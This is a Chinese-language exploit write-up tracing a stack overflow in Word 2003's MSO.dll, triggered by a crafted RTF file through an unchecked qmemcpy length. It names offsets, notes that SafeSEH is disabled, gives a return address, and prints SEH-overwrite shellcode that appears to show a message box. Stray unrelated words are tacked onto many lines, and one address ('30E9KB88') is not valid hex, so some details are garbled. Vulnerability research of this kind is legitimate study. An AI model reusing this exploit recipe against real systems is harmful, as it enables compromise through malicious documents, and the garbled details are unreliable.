打开Word 2003而且附加到x32dbg中,并用Word 03打开目标文件(此处是Crack.rtf),发现日志中有异常记录,异常点位于30E9KB88处(位于MSO.dll中)html
此处从0x11040004处复制到0x00123DC0处,次数为0x322B次(0xACC8/4),具体状况咱们回溯到0x30F4CC96处上面查看到Crack处的函数调用了来自0x30F4CC93处的Call dword ptr [eax+1C] //call sub_30E9EB62()。在IDA Pro中查看30E9EB62(),发现就是简单的调用qmemcpy(dst,src,count)shell
再次断点到0x30F4CC93处来查看,发现dst是0x00123DC0,src是0x1104000C([0x014D10F0+0x10]),count是0xACC8([0x014D10F0+0x8]),而sub_30F4CC5D()中只有0x14字节的空间(sub_30E9EB62()不开辟新的栈空间),0xACC8早就溢出当前函数的栈空间了,因此此处未对qmemcpy()中的count进行检查而致使栈溢出。windows
跟踪内存发现,咱们复制的内容是Crack.rtf中acc8后的文本(此处文本转成了十六进制,即“41”=》0x41),而前面的“acc8”也恰好对应以前的qmemcpy()的count。函数
最后,构造POC,第一时间我想到SEH exploit,刚好经过Mona检测到MSO.dll的SafeSEH是关闭的而且找到0x30CA50A9处做为ROP链首,溢出的SEH处的内容在Crack.rtf中的0x176C0偏移处。工具
最终得出shellcode。日志
shellcode={ \xeb,\x0a,\x90,\x90,\xa9,\x50,\xca,\x30,\x90,\x90,\x90,\x90, \x6A,\x00,\x68,\x46,\x75,\x63,\x6B,\x89,\xE0,\x6A,\x00,\x68,\x43,\x61,\x70,\x00, \x89,\xE3,\x6A,\x00,\x53,\x50,\x6A,\x00,\xBA,\x30,\x1C,\xC9,\x30,\x8B,\x12,\xFF,\xD2,\xC3, } //shellcode=jmp 0A+\x90*2+ROP address+\x90*4+payload
效果如图所示:code
PS:RTF文件格式说明orm